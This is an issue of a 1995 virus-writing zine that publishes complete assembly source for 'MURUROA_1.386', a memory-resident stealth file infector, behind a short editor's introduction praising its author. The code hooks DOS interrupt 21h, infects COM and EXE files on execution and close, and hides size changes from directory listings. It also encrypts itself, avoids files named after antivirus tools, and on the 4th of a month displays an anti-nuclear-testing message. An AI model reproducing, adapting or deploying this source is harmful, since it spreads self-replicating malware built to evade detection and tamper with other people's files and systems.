Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 018 % MURUROA_1.386 by Blesk_SVL % ------------------------------ Here's a nice contribution virus I recieved from Blesk in Slovakia. It's a full stealth infector of COM and EXE files, which is pretty harmless. According to Blesk, this is not the best virus he's written, but not the worst either. I wish him good luck in SVL (Slovakian Virus Laboratories, very good viruswriters indeed), as well as his future! I started to comment this virus (well, for about 10 minutes anyway), but found it a little bit too unstructured to really bother since I was a bit short on time, and things like that (I figured you to understand the details better than me, (grin!)). So, deal with this fact, or go take a hike.. Thank you very much Blesk and good luck in SVL! - The Unforgiven. ================================================================== ============== .286 codes segment assume cs:codes, ds:codes, ss:codes org 100h ; modified first instruction : ( is that why my debugger choked??? - TU ) _z: jmp _virus nop nop mov ax,4c00h int 21h nop db 0f5h dup(90h) ; ============== virus start here ========================== _virus: call dec_of_dec orig_instr: nop nop nop nop epo: dw 1 eps: dw 2 ess: dw 3 old_21: dw 0,0 com_exe: db 'c' handle: dw 0 text: db 13,10 db 0c9h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bbh,13,10 db 0bah,' I have one mesage to all people on earth : ' db 0bah db 13,10 db 0bah,' Stop all French nuclear testing in the PACIFIC ' db 0bah db 13,10 db 0bah,' Dont forgot :Comon people dont like nuc. tests! ' db 0bah ;Don't forget: Common (spelling errors.. ;)). db 13,10 db 0bah,' This is is a MURUROA 1.386 by Blesk ' db 0bah db 13,10 db 0bah,' PLUTONIUM IS BETTER IN POWER-PLANT !!!! ' db 0bah db 13,10 db 0bah,' My greet to VYVOJAR,SVL,METABOLIS and all IRC. ' db 0bah db 13,10 db 0c8h,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0cdh db 0cdh,0cdh,0cdh,0cdh,0cdh,0cdh,0bch,13,10 db 13,10,'$' virussize equ (offset end_vir)-(offset _virus) EXE_HEADER: db 'MZ' ;header-sig of exe file lastpage: dw 0 ;Bytes in last page nopages: dw 0 ;Count of pages RELOC: dw 0 ;Count of relocate items HederSize: dw 0 ;Heder size MinMem: dw 0 MaxMem: dw 0 ReloSS: dw 0 ;Initial SS ReloSP: dw 0 ;Initial SP CeckSum: dw 0 ;DOS 3.00+ don't uses this StartIP: dw 0 ;Starting IP StartCS: dw 0 ;Starting CS OfsRelo: dw 0 ;Relocation table's offset OVRType: dw 0 ;0=Main segment _q equ (offset _virus) ;========================================================== _main: pop si ; si holds delta-offset.. push si push ax push bx push cx push dx push ds push bp push es ; preserve registers in use push cs ; ds=cs pop ds xor ax,ax ; grap int21h (s:o adress) mov es,ax ; mov ax,[es:21h*4] ; to ax.. mov [ ds : si+((offset old_21)-_q)],ax ; save seg-adress mov ax,[ es : 21h*4+2] ; load ax with ofs mov [ ds : si+((offset old_21)-_q+2)],ax ; save it.. mov ax,[ es : 1ch*4] ; hrm.. pop es push es mov ax,es add ax,10h add [cs:si+((offset eps) - _q)],ax add [cs:si+((offset ess) - _q)],ax cmp byte ptr [cs:si+((offset com_exe) - _q)],'c' jnz _exe_zac mov ax,[cs:si+((offset orig_instr)-_q)] mov [cs:100h],ax mov ax,[cs:si+((offset orig_instr)-_q+2)] mov [cs:102h],ax mov [cs:si+((offset eps)-_q)],cs mov [cs:si+((offset epo)-_q)],100h mov [cs:si+((offset ess)-_q)],cs _exe_zac: mov ax,6666h ; check if virus int 21h ; is resident.. cmp ax,1977h jz _not_instal ; => already resident! mov ax,es ; dec es to dec ax ; get mcb-pointer mov es,ax cmp byte ptr [es:0],5ah ; last mcb block ? jnz _end1 ; not last? ; ==> poof, bail! mov ax,[es:3] ; get size of MB and sub ax,200h ; decrease it jc _end1 ; not enough memory? ; ==> bail out.. mov [es:3],ax ; shrink blocksize & sub word ptr [es:12h],200h ; free top of memory mov es,[es:12h] xor di,di ; copy virus up.. mov cx,virussize ; to our newly cld ; allocated block push si ; until CX=0 repz movsb pop si call _instal ; Install new21h _not_instal: Call _destruction ; not dangerous.. (ret) _end1: pop es ; restoration pop bp ; routine.. pop ds pop dx pop cx pop bx pop ax pop si mov ss,[cs:si+((offset ess)-_q)] nop push [cs:si+((offset eps)-_q)] nop push [cs:si+((offset epo)-_q)] retf ;========================================================== _instal: push es pop ds mov ax,2521h ; set interrupt vector mov dx,(offset _int21)-_q ; for int21h int 21h ret ;========================================================== dos: pushf db 2eh,0ffh,1eh ; Call far [cs:xxxx] dw ((offset old_21)-_q) ; xxxx=old 21 ret ;========================================================== _destruction: ret ;========================================================== ; New interrupt int21h handler ;========================================================== _int21: pushf cmp ax,6666h ; installation check? jnz _next mov ax,1977h ; if so, return ax=1977h popf ; so virus won't load iret ; resident twice _next: cmp ax,4b00h ; normal execute? jz _infect cmp ah,4eh ; findfirst via handle? jz ffvh3 cmp ah,4fh ; findnext via handle? jz ffvh3 cmp ah,12h ; findfirst via fcb ? jz ffvfcb1 cmp ah,11h ; findnext via fcb ? jz ffvfcb1 cmp ah,3dh ; normal file open ? jz ootvor_ ; => disinfect cmp ah,57h ; get/set file time or date ? jnz QWEWQ call casovac ; yes.... retf 2 QWEWQ: cmp ah,3eh ; file close ? jz zzavri_ ;======================================================== _jmp_dos: popf db 2eh,0ffh,2eh ; jmp dw ((offset old_21)-_q) ; dos ;======================================================== ootvor_: ; ==> "Go_open" jmp otvor_ zzavri_: ; ==> "Go_close" jmp zatvor ;======================================================== _vypis: push ax push dx push cx push ds push cs pop ds mov ah,04 ; read real date int 1ah ; from system clock cmp dl,04 ; day in BCD=4 ? jnz not_vypis ; no? mov dx,(offset text)-_q ; it is, then activate! mov ah,09h ; (the horror, the horror!) call dos mov ah,08 ; char-input wo/echo call dos ; (* wait keypress.. *) not_vypis: pop ds pop cx pop dx pop ax ret ;========================================================== ffvh3: jmp ffvh ; 4e/4fh ffvfcb1: jmp ffvfcb ; 11/12h ;========================================================== _infect: push ax push bx push cx push es push dx push ds call infect_files pop ds pop dx pop es pop cx pop bx pop ax jmp _jmp_dos ;========================================================= infect_files: ; Strategie ==> ; Findfilename ; Set avoid_names(tab) = false (* Remember to initialise those variables! *) ; Check if tab is true (by comparing char_by_char in the entire fname) ; If no_match do return nasiel_s=ff ; Else, return nasiel_s=0 ; If nasiel_s=0 = Avoid_Infect_File ; Else, pollute the bastard! ; (* Or whatever.. *) call findstr cmp byte ptr [cs:((offset nasiel_s)-_q)],0ffh jz next_t jmp NoInfecting next_t: call _vypis call open mov cx,4h mov dx,((offset exe_header)-_q) call read1 cmp word ptr [cs:((offset exe_header)-_q)],5a4dh ; EXE-file? jnz com_infect ; no! call exe_infect ; yes! jmp clo_infect com_infect: call nakaz_com clo_infect: call close NoInfecting: ret ;========================================================= nakaz_com: ; infect_com call begin_file ; seek tof jc cic mov cx,4h ; read first4 bytes to mov dx,((offset exe_header)-_q) ; exe_header call read1 jc cic push cs pop ds mov ax,[ds:((offset exe_header)-_q)] mov [ds:((offset orig_instr)-_q)],ax mov ax,[ds:((offset exe_header)-_q+2)] mov [ds:((offset orig_instr)-_q+2)],ax call end_file add ax,virussize jc cant_infect_com sub ax,virussize mov cx,0ffffh mov dx,0fffeh mov ax,4202h call dos jc cic mov cx,2 call read2 jc cic cmp word ptr [cs:((offset buff)-_q)],1110h jz cant_infect_com call end_file push ax call begin_file pop ax sub ax,3 mov [cs:((offset exe_header)-_q+1)],ax mov al,0E9h mov [cs:((offset exe_header)-_q)],al mov cx,3h mov dx,(offset exe_header)-_q mov byte ptr [cs:((offset com_exe)-_q)],'c' call write1 jc cic call end_file jc cic call add_to_file cic: cant_infect_com: ret ;========================================================== coc2: jmp ccoc back: ret ;========================================================== exe_infect: mov cx,0ffffh mov dx,0fffeh mov ax,4202h call dos mov cx,2 call read2 cmp word ptr [cs:((offset buff)-_q)],1110h jz coc2 call begin_file cmp word ptr [cs:((offset ovrtype)-_q)],0000 jnz coc2 mov cx,1ch mov dx,(offset exe_header)-_q call read1 mov bx,[cs:((offset reloSS)-_q)] mov [cs:((offset ess)-_q)],bx mov bx,[cs:((offset startIP)-_q)] mov [cs:((offset epo)-_q)],bx mov bx,[cs:((offset startCS)-_q)] mov [cs:((offset eps)-_q)],bx add word ptr [cs:((offset reloSS)-_q)],10h add word ptr [cs:((offset minmem)-_q)],100h add word ptr [cs:((offset maxmem)-_q)],100h jnc NoCaryMem mov word ptr [cs:((offset maxmem)-_q)],0ffffh NoCaryMem: mov byte ptr [cs:((offset com_exe)-_q)],'E' mov ax,[cs:((offset nopages)-_q)] mov bx,200h xor dx,dx mul bx add ax,[cs:((offset lastpage)-_q)] adc dx,0 add ax,virussize adc dx,0 mov bx,200h div bx mov word ptr [cs:((offset lastpage)-_q)],dx mov word ptr [cs:((offset nopages)-_q)],ax call end_file push si push di mov di,dx mov si,ax mov ax,[cs:((offset hedersize)-_q)] mov bx,10h mul bx sub si,ax sbb di,dx mov dx,di mov ax,si pop di pop si mov bx,10h div bx mov [cs:((offset startIP)-_q)],dx mov [cs:((offset startCS)-_q)],ax call begin_file mov cx,1ch mov dx,((offset EXE_header)-_q) call write1 call end_file call add_to_file ccoc: @44: ret jmp exe_infect ;================================================================== add_to_file: xor ax,ax mov si,ax int 1ah xor cx,dx xor cl,ch cmp dl,0 jz add_to_file mov ax,[cs:si] mov [cs:si+virussize],ax mov ax,[cs:si+2] mov [cs:si+virussize+2],ax mov ax,[cs:si+4] mov [cs:si+virussize+4],ax mov ax,[cs:si+6] mov [cs:si+virussize+6],ax mov ax,[cs:si+8] mov [cs:si+virussize+8],ax mov ax,[cs:si+10] mov [cs:si+virussize+10],ax mov dl,cl add si,0012 mov cx,(offset d0)-_q-12 push dx repeat: mov al,[cs:si] xor al,dl mov [cs:si+virussize],al inc si inc dl loop repeat pop dx mov [cs:si+virussize],dl inc si mov cx,(offset dec_of_dec)-(offset d0)-1 repeat2: mov al,[cs:si] xor al,dl mov [cs:si+virussize],al inc si loop repeat2 mov cx,(offset end_vir)-(offset dec_of_dec) repeat3: mov al,[cs:si] mov [cs:si+virussize],al inc si loop repeat3 mov cx,virussize call write2 call nastav_datum ; Datum = Date :) ret ;========================================================== Nastav_datum: mov ax,5700h mov bx,[cs:((offset handle)-_q)] call dos or dh,0c0h mov ax,5701h call dos ret ;=============Cange DTA==================================== change_dta: pushf push ax push bx push cx push dx push es mov ah,2fh call dos mov dx,[es:bx+18h] and dh,0c0h cmp dh,0c0h jnz not_inf_dta; mov dx,[es:bx+18h] and dh,3fh mov [es:bx+18h],dx sub word ptr [es:bx+1ah],virussize ; stealth low-word sbb word ptr [es:bx+1ch],0 ; stealth high-word not_inf_dta: pop es pop dx pop cx pop bx pop ax popf ret ;=======find first via handle============= ffvh: popf call dos jc ffvh2 call change_dta ffvh2: retf 2 ;======find first/next via fcb============================= ffvfcb: popf call dos pushf cmp al,00 jnz no_found push ax push bx push cx push dx push es mov ah,2fh call dos mov al,[es:bx] cmp al,0ffh jnz @ew add bx,8 @ew: mov dx,[es:bx+18h] and dh,0c0h cmp dh,0c0h jnz not_inf_dta2; mov dx,[es:bx+18h] and dh,3fh mov [es:bx+18h],dx sub word ptr [es:bx+1ch],virussize sbb word ptr [es:bx+1eh],0 not_inf_dta2: pop es pop dx pop cx pop bx pop ax no_found: popf iret ;========================================================== end_file: mov ax,4202h ttt: push cx push bx mov bx,[cs:((offset handle)-_q)] xor cx,cx xor dx,dx call dos pop bx pop cx ret begin_file: mov ax,4200h jmp ttt open: mov ax,3d02h call dos mov [cs:((offset handle)-_q)],ax ret close: mov ah,3eh call ggg ret ddd: mov dx,(offset buff)-_q ret read2: call ddd read1: mov ah,3fh ggg: push cs pop ds mov bx,[cs:((offset handle)-_q)] call dos ret write2: call ddd write1: mov ah,40h jmp ggg ;---------------------------------------------------- analiza: ; ds:dx =>'c:\path\name.ext',0 push ax push si push dx push dx ;ds:dx = ds:si pop si analiza2: cmp byte ptr [si],'\' jz lomitko cmp byte ptr [si],0 jz end_name inc si jmp analiza2 lomitko: pop ax inc si push si jmp analiza2 end_name: pop dx pop si pop ax ;ds:dx =>'name.ext',0 ret ;----------------------------------------------------------------------------- FINDSTR1 proc near pusha jmp findstr2 FINDSTR: pusha mov byte ptr [cs:((offset nasiel_s)-_q)],0ffh call analiza push dx pop si mov di,(offset tab-_q) findstr2: mov bp,si compar0: mov cx,0 compar1: xor bx,bx compar2: mov ah,byte ptr cs:[di+bx] cmp ah,0 jnz nextwor cmp cx,0 jnz found jz nextword nextwor: cmp ah,1 jz found_1 mov al,byte ptr ds:[si+bx] cmp al,5bh jns compar3 cmp al,41h js compar3 or al,20h compar3: cmp al,0 jnz next_w cmp cx,0 jnz found jnz nextword next_w: inc bx inc dx inc cx cmp al,ah jz compar2 nextword: mov ah,cs:[di] inc di cmp ah,1 jz found_1 cmp ah,0 jnz nextword jmp compar0 found: mov byte ptr [cs:((offset nasiel_s)-_q)],0h found_1: popa ret FINDSTR1 endp nasiel_s: db 0 Exe db ".exe",0 Com db ".com",1 Tab db "avg",0 db "fv386",0 db "turbo",0 db "fv86",0 db "guard",0 db "toolkit",0 db "scan",0 db "virlab",0 db "vir",0 db "asta",0 db "vc",0 db "sswap",0 db "debug",0 db "td",0 db "stacker",0 db "alik",0 db "rex",0 db "msav",0 db "cpav",0 db "nod",0 db "clean",0 db "f-pro",0 db "tbav",0 db "tbdriver",0 db "tbclean",0 db "tbscan",0 db "avast",0 db "nav",0 db "vshie",0 db "dizz",0 db "command",0 db "vsafe",1 ;============================================================== handle2: dw 0000 subo dw 0 pom dw 0 otvor_: push si ; file is being opened pushf push bx push cx push dx push es push ds push ax mov al,2 call dos jnc _ccc jmp _oexit _ccc: mov bx,ax mov word ptr [cs:((offset pom)-_q)],ax mov ax,5700h call dos mov al,dh and al,0C0h cmp al,0C0h jz _c0 mov ah,3eh call dos jmp _oexit _c0: mov bx,word ptr [cs:((offset pom)-_q)] mov cx,4h mov dx,((offset exe_header)-_q) call read1 cmp word ptr [cs:((offset exe_header)-_q)],5a4dh jnz com_deinfect2 call exe_desinfect jmp clo_deinfect2 com_deinfect2: call cisti_com clo_deinfect2: call nastav_datum mov ah,3eh call dos pop ax mov al,2 jmp _we3 _oexit: pop ax _we3: pop ds pop es pop dx pop cx pop bx popf pop si jmp _jmp_dos Zatvor: pushf push ax push bx push cx push dx push es push ds mov word ptr [cs:((offset pom)-_q)],bx mov ax,5700h call dos jc _cexit mov al,dh and al,0C0h cmp al,0C0h jnz _cexit push cs pop ds mov bx,word ptr [cs:((offset pom)-_q)] mov word ptr [cs:((offset handle)-_q)],bx mov cx,4h mov dx,((offset exe_header)-_q) call read1 cmp word ptr [cs:((offset exe_header)-_q)],5a4dh jnz com_infect2 call exe_infect jmp clo_infect2 com_infect2: call nakaz_com clo_infect2: call nastav_datum _cexit: pop ds pop es pop dx pop cx pop bx pop ax popf jmp _jmp_dos cistil: db 0 ;============================================================== exe_desinfect: mov cx,0ffffh mov dx,0fffeh mov ax,4202h call dos mov cx,2 call read2 cmp word ptr [cs:((offset buff)-_q)],1110h jz koc3 jmp koc2 koc3: call begin_file mov cx,1ch mov dx,(offset exe_header)-_q call read1 mov bx,[cs:((offset ess)-_q)] mov [cs:((offset reloSS)-_q)],bx mov bx,[cs:((offset epo)-_q)] mov [cs:((offset startIP)-_q)],bx mov bx,[cs:((offset eps)-_q)] mov [cs:((offset startCS)-_q)],bx ; sub word ptr [cs:((offset reloSS)-_q)],10h ; sub word ptr [cs:((offset minmem)-_q)],100h ; sub word ptr [cs:((offset maxmem)-_q)],100h mov ax,[cs:((offset nopages)-_q)] mov bx,200h xor dx,dx mul bx add ax,[cs:((offset lastpage)-_q)] adc dx,0 sub ax,virussize sbb dx,0 mov bx,200h div bx mov word ptr [cs:((offset lastpage)-_q)],dx mov word ptr [cs:((offset nopages)-_q)],ax call begin_file mov cx,1ch mov dx,((offset EXE_header)-_q) call write1 mov ax,4202h mov cx,0ffffh mov dx,cx sub dx,virussize inc dx mov bx,[cs:((offset handle)-_q)] call dos jc koc2 call nastav_datum mov ax,4001h xor cx,cx xor dx,dx call dos jc koc2 call nastav_datum koc2: ret cisti_com: pusha mov ax,4202h mov cx,0ffffh mov dx,cx sub dx,01h mov bx,[cs:((offset handle)-_q)] call dos jnc _kon1_ jmp _kon1 _kon1_: push cs pop ds mov ah,3fh mov dx,((offset buff)-_q) mov cx,2 call dos jnc _kon2_ jmp _kon1 _kon2_: cmp word ptr [cs:((offset buff)-_q)],1110h jz _kon3_ jmp _kon1 _kon3_: push cs pop ds mov ax,4202h mov cx,0ffffh mov dx,cx sub dx,virussize add dx,1+3 mov bx,[cs:((offset handle)-_q)] call dos jnc next55 jmp _kon1 next55: push cs pop ds mov ah,3fh mov dx,((offset buff)-_q) mov cx,3 call dos jc _kon1 _no_decod: mov ax,4200h xor cx,cx mov dx,cx mov bx,[cs:((offset handle)-_q)] call dos jc _kon1 mov ax,4000h mov cx,3 mov dx,((offset buff)-_q) call dos jc _kon1 mov ax,4202h mov cx,0ffffh mov dx,cx sub dx,virussize inc dx mov bx,[cs:((offset handle)-_q)] call dos jc _kon1 mov ax,4001h xor cx,cx xor dx,dx call dos jc _kon1 mov byte ptr [cs:((offset cistil)-_q)],0ffh jmp _kon2 _kon1: mov word ptr [cs:((offset handle)-_q)],00 _kon2: popa ret ;============================================================== casovac: cmp al,00 ; get file time o date? jz casovac_zisti ; yes.. casovac_nastav: push ax ; ==> set file time or push cx ; date.. ! push dx mov ax,5700h call dos and dh,3fh cmp dh,3fh pop dx pop cx pop ax jnz nastav or dx,3fh nastav: call dos ret casovac_zisti: ; ==> get file time or call dos ; date.. ! and dh,3fh ret ;============================================================== d0: db 0 _virus_dec: pop si sub si,3 push si mov dl,[cs: si+((offset d0)-_q)] cmp dl,0 jz nodec mov cx,(offset d0)-_q-12 add si,12 aa: mov al,[cs:si] xor al,dl mov [cs:si],al inc si inc dl loop aa nodec: jmp _main dec_of_dec: JMP @1 ; This is confusing to @8: loop next ; follow.. (* SMC *) jmp no_dec1 @2: pop si jmp @3 next: xor [cs:si],dl jmp @7 @5: mov cx,((offset dec_of_dec)-(offset _virus_dec)) jmp @6 @4: mov dl,[cs:si+(((offset d0)-_q)-3)] jmp @5 @6: add si,((offset _virus_dec)-_q)-3 jmp next @7: inc si jmp @8 no_dec1: jmp _virus_dec @3: push si JMP @4 @1: NOP JMP @2 dw 1110h end_vir: buff: codes ends end _z ================================================================== ============== ; As usual, type: ; debug